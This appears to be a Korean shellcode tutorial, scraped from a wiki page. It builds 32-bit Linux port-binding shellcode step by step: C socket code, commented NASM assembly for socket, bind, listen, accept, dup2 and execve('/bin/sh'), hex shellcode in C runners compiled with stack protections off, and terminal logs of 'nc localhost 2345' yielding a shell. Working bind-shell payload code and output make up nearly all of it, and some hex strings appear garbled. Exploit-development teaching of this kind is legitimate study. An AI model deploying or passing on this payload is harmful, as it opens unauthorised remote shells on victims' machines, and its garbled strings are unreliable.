...
Code Block | ||||
---|---|---|---|---|
| ||||
#include <unistd.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> int main(void){ int server_sockfd, client_sockfd; struct sockaddr_in server_addr, client_addr; socklen_t client_addr_size; server_sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); server_addr.sin_family = AF_INET; // IPv4 인터넷 프로토롤 server_addr.sin_port = htons(2345); // 사용할 port 번호는 2345 server_addr.sin_addr.s_addr = INADDR_ANY; // 32bit IPV4 주소 bind(server_sockfd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)); listen(server_sockfd, 4); client_addr_size = sizeof(struct sockaddr_in); client_sockfd = accept(server_sockfd, (struct sockaddr *)&client_addr, &client_addr_size); } |
...
Code Block | ||||
---|---|---|---|---|
| ||||
BITS 32 ;socket(AF_INET, SOCK_STREAM, IPPROTO_IP); push BYTE 102 ; socketcall의 시스템 콜 번호 102를 Stack에 저장합니다. pop eax ; Stack에 저장된 시스템 콜 번호를 EAX 레지스터에 저장합니다. cdq ; EDX 레지스터에 DWORD 크기의 Null byte를 저장합니다. push dword 1 ; socket 함수의 호출 번호 1을 Stack에 저장합니다. pop ebx ; socketcall() 함수의 1번째 인자(EBX 레지스터)값으로 SYS_SOCKET(1)을 저장 합니다. ;두번째 인자에 전달할 인자 배열을 생성 push edx ; socket() 함수의 3번째 인자 값 0을 Stack에 저장합니다. push BYTE 1 ; socket() 함수의 2번째 인자 값 SOCK_STREAM(1)을 Stack에 저장합니다. push BYTE 2 ; socket() 함수의 1번째 인자 값 PF_INET(2)을 Stack에 저장합니다. mov ecx, esp ; socketcall() 함수의 2번째 인자(ECX 레지스터)값으로 인자 배열의 시작 주소값(ESP 레지스터)을 저장 합니다. int 0x80 ;server_sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); mov esi,eax ; 소켓 함수로 부터 리턴받은 값을 ESI 레지스터에 저장합니다. ;bind(server_sockfd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)); push BYTE 0x66 ; socketcall의 시스템 콜 번호 102를 Stack에 저장합니다. pop eax ; Stack에 저장된 시스템 콜 번호를 EAX 레지스터에 저장합니다. inc ebx ; EBX 레지스터에 1이 저장되어 있으며, INC 명령어를 이용해 2로 변경합니다. ; 이로 인해 socketcall() 함수의 1번째 인자 값으로 SYS_BIND(2)를 저장하게 됩니다. ;struct sockaddr_in server_addr push edx ; server_addr.sin_family = AF_INET; push WORD 0x2909 ; server_addr.sin_port = htons(2345); push WORD bx ; server_addr.sin_addr.s_addr = INADDR_ANY; ;인자에 전달된 값을 저장 mov ecx,esp ; ECX레지스터에 server_addr 구조체의 시작 주소를 저장합니다. push BYTE 16 ; bind() 함수의 3번째 인자 값 16을 Stack에 저장합니다. push ecx ; bind() 함수의 2번째 인자 값 &server_addr을 Stack에 저장합니다. push esi ; bind() 함수의 1번째 인자 값 server_sockfd를 Stack에 저장합니다. mov ecx, esp ; socketcall() 함수의 2번째 인자 값을 ECX 레지스터에 저장 합니다. int 0x80 ;listen(server_sockfd, 4) mov BYTE al,0x66 ; inc ebx inc ebx ; EBX 레지스터에 2가 저장되어 있기 때문에 inc 명령어를 2번 호출하여 4로 변경합니다. ; 이로 인해 socketcall() 함수의 1번째 인자 값으로 SYS_LISTEN(4)를 저장하게 됩니다. push ebx ; listen() 함수의 2번째 인자 값 4를 Stack에 저장합니다. push esi ; listen() 함수의 1번째 인자 값 server_sockfd를 Stack에 저장합니다. mov ecx, esp ; socketcall() 함수의 2번째 인자 값을 ECX 레지스터에 저장 합니다. int 0x80 ;accept(server_sockfd, (struct sockaddr *)&client_addr, &client_addr_size) ;c = accept(s,0,0) mov BYTE al, 0x66 ; inc ebx ; socketcall() 함수의 1번째 인자 값으로 SYS_ACCEPT(5)를 저장하게 됩니다. push edx ; bind() 함수의 3번째 인자 값 0을 Stack에 저장합니다. push edx ; bind() 함수의 2번째 인자 값 Null을 Stack에 저장합니다. push esi ; bind() 함수의 1번째 인자 값 server_sockfd를 Stack에 저장합니다. mov ecx, esp ; socketcall() 함수의 2번째 인자 값을 ECX 레지스터에 저장 합니다. int 0x80 ; |
...
Code Block | ||||
---|---|---|---|---|
| ||||
#include<stdio.h> #include<string.h> unsigned char shellcode [] = "0x6a\x6a\x66\x58\x99\x6a\x1x01\x5b\x52\x6a\x1x01\x6a\x2x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x2ex09\x16x29\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("Shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); } |
...
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Shell$ gcc -o pb -fno-stack-protector -z execstack --no-pie -m32 pb.c lazenca0x0@ubuntu:~/Shell$ ./pb & [1] 64826 lazenca0x0@ubuntu:~/Shell$ Shellcode len : 59 lazenca0x0@ubuntu:~/Shell$ netstat -ntlp |grep pb (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 0.0.0.0:2345 0.0.0.0:* LISTEN 64826/pb lazenca0x0@ubuntu:~/Shell$ |
...
Code Block | ||||
---|---|---|---|---|
| ||||
#include <unistd.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> int main(void){ ... client_sockfd = accept(server_sockfd, (struct sockaddr *)&client_addr, &sinclient_addr_size); dup2(client_sockfd, 0); dup2(client_sockfd, 1); dup2(client_sockfd, 2); char *argv[] = { "/bin/sh", NULL}; execve( "/bin/sh", argv, NULL ); } |
...
Code Block | ||||
---|---|---|---|---|
| ||||
BITS 32 ;s = socket(2,1,0) ;bind(s, [2, 31337, 0], 16) ;listen(s, 0) ;c = accept(s,0,0) ...코드 생략... ;dup2(client_sockfd, 0) mov ebx, eax ; accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장합니다. push BYTE 0x3F ; socketcall의 시스템 콜 번호 63를 Stack에 저장합니다. pop eax ; Stack에 저장된 시스템 콜 번호를 EAX 레지스터에 저장합니다. xor ecx, ecx ; dup2() 함수의 2번째 인자 값을 표준입력(0)으로 변경합니다. int 0x80 ; ;dup2(client_sockfd, 1) mov BYTE al, 0x3F ; socketcall의 시스템 콜 번호 63를 AL 레지스터에 저장합니다. inc ecx ; dup2() 함수의 2번째 인자 값을 표준출력(1)으로 변경합니다. int 0x80 ; ;dup2(client_sockfd, 2) mov BYTE al, 0x3F ; socketcall의 시스템 콜 번호 63를 AL 레지스터에 저장합니다. inc ecx ; dup2() 함수의 2번째 인자 값을 표준에러(2)으로 변경합니다. int 0x80 ; ;execve( "/bin/sh", argv, NULL ); mov BYTE al, 11 ; execve() 시스템 함수의 콜 번호 11을 EAX레지스터에 저장합니다. push edx ; 문자열의 끝을 알리기 위해 Null을 먼저 Stack에 저장합니다. push 0x68732f2f ; 문자 "//sh"를 Stack에 저장합니다. Little-endian push 0x6e69622f ; 문자 "/bin"를 Stack에 저장합니다. Little-endian mov ebx, esp ; execve() 함수의 1번째 인자값으로 ESP 레지스터의 값을 저장합니다. push edx ; Stack에 Null을 저장합니다. mov edx, esp ; execve() 함수의 3번째 인자값으로 Null이 저장된 배열의 주소(ESP)를 저장합니다. push ebx ; Stack에 "/bin//sh" 문자의 시작주소(EBX)를 저장합니다. mov ecx, esp ; execve() 함수의 2번째 인자값으로 배열의 주소(ESP,["/bin//sh",Null],[Null])를 저장합니다. int 0x80 ; |
...
Code Block | ||||
---|---|---|---|---|
| ||||
#include<stdio.h> #include<string.h> unsigned char shellcode [] = "\x6A\x66\x58\x99\x6A\x01\x5b\x52\x6A\x01\x6A\x02\x89\xe1\xcd\x80\x89\xc6\x6A\x66\x58\x43\x52\x66\x68\x2Ex09\x16x29\x66\x53\x89\xe1\x6A\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x3f\x58\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x0b\x52\x68//shh/bin\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51x52\x89\xe2\x53\x89\xe1\xcd\x80"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("Shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); } |
...
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Shell$ gcc -o portbindsh -fno-stack-protector -z execstack --no-pie -m32 portbindsh.c lazenca0x0@ubuntu:~/Shell$ ./portbindsh & [1] 65488 lazenca0x0@ubuntu:~/Shell$ Shellcode len : 101 lazenca0x0@ubuntu:~/Shell$ nc localhost 2345 id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) exit [1]+ Done ./portbindsh lazenca0x0@ubuntu:~/Shell$ |
...
CMP, JLE 명령어를 이용해 C language와 동일한 반복문을 구현합니다.
Code Block | ||
---|---|---|
| ||
;dup2(connected socket,{all three standard I/O file descriptors}) mov ebx,eax ; accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장합니다. xor eax, eax ; EAX 레지스터를 0으로 초기화 합니다.(시스템 콜 번호) xor ecx, ecx ; ECX 레지스터를 0으로 초기화 합니다.(dup2 함수의 2번째 인자값) dup2_call: mov BYTE al, 0x3F ; dup2 함수의 시스템 콜 번호(63)를 AL 레지스터에 저장합니다. int 0x80 ; inc ecx ; dup2 함수의 2번째 인자값을 증가(+1) 시킵니다. cmp BYTE cl, 2 ; dup2 함수의 2번째 인자값과 2 를 비교합니다. jle dup2_call ; dup2 함수의 2번째 인자값이 2 보다 작거나 같으면 dup2_call로 점프 합니다. |
...
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Shell$ gcc -o jle -fno-stack-protector -z execstack --no-pie -m32 jle.c lazenca0x0@ubuntu:~/Shell$ ./jle & [1] 65593 lazenca0x0@ubuntu:~/Shell$ Shellcode len : 98 lazenca0x0@ubuntu:~/Shell$ nc localhost 2345 id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) exit [1]+ Done ./jle lazenca0x0@ubuntu:~/Shell$ |
...
Code Block | ||||
---|---|---|---|---|
| ||||
;dup2(connected socket,{all three standard I/O file descriptors}) mov ebx,eax ; accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장합니다. xor eax, eax ; EAX 레지스터를 0으로 초기화 합니다.(시스템 콜 번호) push BYTE 0x2 ; Stack에 2 저장합니다. pop ecx ; ECX 레지스터에 2으로 저장 합니다.(dup2 함수의 2번째 인자값) dup2_call: mov BYTE al, 0x3F ; dup2 함수의 시스템 콜 번호(63)를 AL 레지스터에 저장합니다. int 0x80 ; dec ecx ; dup2 함수의 2번째 인자값을 감소(-1) 시킵니다. jns dup2_call ; 부호 플래그가 거짓(0)이면 dup2_call로 점프 합니다. |
...
Code Block | ||||
---|---|---|---|---|
| ||||
;dup2(connected socket,{all three standard I/O file descriptors} xchg eax,ebx ; accept() 함수로 부터 리턴받은 파일 디스크립터를 EBX레지스터에 저장하고, EAX레지스터 초기화를 위해 파일 디스크립터(0x00000005)를 EAX 레지스터에 저장합니다. push BYTE 0x2 ; Stack에 2 저장합니다. pop ecx ; ECX 레지스터에 2으로 저장 합니다.(dup2 함수의 2번째 인자값) dup2_call: mov BYTE al, 0x3F ; dup2 함수의 시스템 콜 번호(63)를 AL 레지스터에 저장합니다. int 0x80 ; dec ecx ; dup2 함수의 2번째 인자값을 감소(-1) 시킵니다. jns dup2_call ; 부호 플래그가 거짓(0)이면 dup2_call로 점프 합니다. |
...